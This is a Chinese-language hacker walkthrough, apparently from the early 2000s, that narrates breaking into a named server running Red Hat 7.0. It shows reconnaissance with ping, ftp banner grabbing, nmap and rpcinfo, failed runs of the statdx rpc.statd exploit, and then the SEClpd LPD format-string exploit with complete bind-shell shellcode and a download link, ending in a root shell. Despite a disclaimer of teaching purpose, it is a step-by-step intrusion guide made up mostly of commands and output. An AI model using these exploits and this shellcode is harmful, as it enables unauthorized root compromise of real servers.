下 載：http://210.77.146.151/images/hlc/files/seclpd.c

我寫此文的目的不在于教人入侵，而是為了提高自身的技術(shù)和加強(qiáng)網(wǎng)絡(luò)管理員的安全防范意識(shí)。僅此而已!粗心大意的網(wǎng)絡(luò)管理員應(yīng)該明白：由于你們一個(gè)小小的操作失誤可能會(huì)導(dǎo)致整個(gè)網(wǎng)絡(luò)全面淪陷！本文主要是圍繞UNIX下面的一個(gè)小小的服務(wù)進(jìn)程(LPD:網(wǎng)絡(luò)打印服務(wù))的攻擊而進(jìn)行的。

讓俺慢慢道來…..
咳…咳…先給我上茶?。ㄊ裁?! 沒有?俺不說了!!）呵呵……開開玩笑,言歸正傳.首先確定目標(biāo),隨便找上一個(gè)搜索引擎。隨便挑一個(gè)吧！假設(shè)是：www.fbi.gov.tw。^__^

先讓俺看看是不是連得上：

C:\ping www.fbi.gov.tw
Pinging www.fbi.gov.tw[202.106.184.200] with 32 bytes of data:

Reply from 202.106.184.200: bytes=32 time=541ms TTL=244
Reply from 202.106.184.200: bytes=32 time=620ms TTL=244
Reply from 202.106.184.200: bytes=32 time=651ms TTL=244
Reply from 202.106.184.200: bytes=32 time=511ms TTL=244

Ping statistics for 202.106.184.200:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 511ms, Maximum = 651ms, Average = 580ms

嘻嘻—不但連得上，速度還不錯(cuò)……

先telnet看看banner：

C:\>telnet www.fbi.gov.tw

遺失對(duì)主機(jī)的連接。

哈哈……看來把telnet服務(wù)給shut掉了！再試試ftp
C:\>ftp www.fbi.gov.tw
Connected to www.fbi.gov.tw.
220 fbi-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.

User (www.fbi.gov.tw:(none)):

呵~~wu-2.6.1看來有點(diǎn)眉目了。這臺(tái)機(jī)器像是大名鼎鼎的…………對(duì)!RedHat7.0！沒錯(cuò)就是她了！首先必須確認(rèn)一下，連上俺的跳板:

C:\>telnet xxx.xxx.xxx.xxx
Red Hat Linux release 7.0 (Guinness)
Kernel 2.2.16-22smp on an i686
login: fetdog
Password:
bash-2.04$

呵呵~~這是我的一臺(tái)跳板。RH7的哦！拿上nmap掃描器，看看其中的奧妙~~~

bash-2.04$nmap -sT -O www.fbi.gov.tw
Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
WARNING! The following files exist and are readable: /usr/local/sha
-services and ./nmap-services. I am choosing /usr/local/share/nmap/
s for security reasons. set NMAPDIR=. to give priority to files in
irectory
Interesting ports on (www.fbi.gov.tw):
(The 1520 ports scanned but not shown below are in state: closed)
Port State Service
25/tcp open smtp
79/tcp open finger
80/tcp open http
111/tcp open sunrpc
113/tcp open auth
443/tcp open https
513/tcp open login
514/tcp open shell
515/tcp open printer
587/tcp open submission
1024/tcp open kdm

TCP Sequence Prediction: Class=random positive increments
Difficulty=3247917 (Good luck!)
Remote operating system guess: Linux 2.1.122 - 2.2.16

Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds

恰?。?！打開的端口還挺多的嘛！不錯(cuò)……不錯(cuò)……。79/tcp finger？呵呵~先看看這個(gè)，不過linux沒有finger用戶列表這個(gè)漏洞，不管它。

bash-2.04$finger @www.fbi.gov.tw
[www.fbi.gov.tw]
No one logged on.

再看看111/tcp sunrpc。嘿嘿……近來rpc漏洞風(fēng)行，不知道RH7這個(gè)東東會(huì)不會(huì)有？管它呢，先看看再說！

bash-2.04$rpcinfo -p www.fbi.gov.tw
program vers proto port service
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100024 1 udp 1025 status
100024 1 tcp 1024 status

看來有rpc.statd服務(wù)。等俺來看看能不能遠(yuǎn)程溢出拿個(gè)rootshell。哈哈！這個(gè)rpc.statd遠(yuǎn)程溢出是我在hack.co.za找到的。等俺先來看看幫助。嘻嘻~~

bash-2.04$./statdx -h
statdx by ron1n
Usage: stat [-t] [-p port] [-a addr] [-l len]
[-o offset] [-w num] [-s secs] [-d type]
-t attack a tcp dispatcher [udp]
-p rpc.statd serves requests on [query]
-a the stack address of the buffer is
-l the length of the buffer is [1024]
-o the offset to return to is [600]
-w the number of dwords to wipe is [9]
-s set timeout in seconds to [5]
-d use a hardcoded
Available types:
0 Redhat 6.2 (nfs-utils-0.1.6-2)
1 Redhat 6.1 (knfsd-1.4.7-7)
2 Redhat 6.0 (knfsd-1.2.2-4)
看來并不支持RH7。怎么辦？？讓俺把0-2全部試試看再說！start……

bash-2.04$stat -d 0 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21

哈哈受到挫折，再試……

bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21

一樣！繼續(xù)……

bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21

rpc.statd行不通?。∽屛蚁胂肟?hellip;…RH7應(yīng)該有個(gè)遠(yuǎn)程溢出……好像是lp服務(wù)造成的。讓俺去找找看。哈哈~~找到了……“seclpd.c”應(yīng)該是這個(gè)東東了。 


—————以下代碼僅供教學(xué)使用，決不能用來進(jìn)行惡意攻擊—————
/*
* Welcome to http://hlc.cnroot.com/
* Run: ./SEClpd victim brute -t type
* Try first ./SEClpd victim -t 0 then try the brute.
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define ADDRESS_BUFFER_SIZE 32 4
#define APPEND_BUFFER_SIZE 52
#define FORMAT_LENGTH 512-8
#define NOPCOUNT 200
#define SHELLCODE_COUNT 1030
#define DELAY 50000 /* usecs */
#define OFFSET_LIMIT 5000

char shellcode[] =
"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

哈哈~~brute。看你出不出shell！現(xiàn)在要等上一會(huì)兒……去泡杯coffee慢慢來。…………過了大約一杯coffee的時(shí)間。也就是5-8分鐘左右，就會(huì)有結(jié)果了。……出來了。哈哈~~

- [ ] shell located on www.fbi.gov.tw
- [ ] Enter Commands at will

Linux FBI.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
uid=0(root) gid=7(lp)

Well……哈哈~uid=0(root)哇哈哈哈哈…………先在你是root啦！

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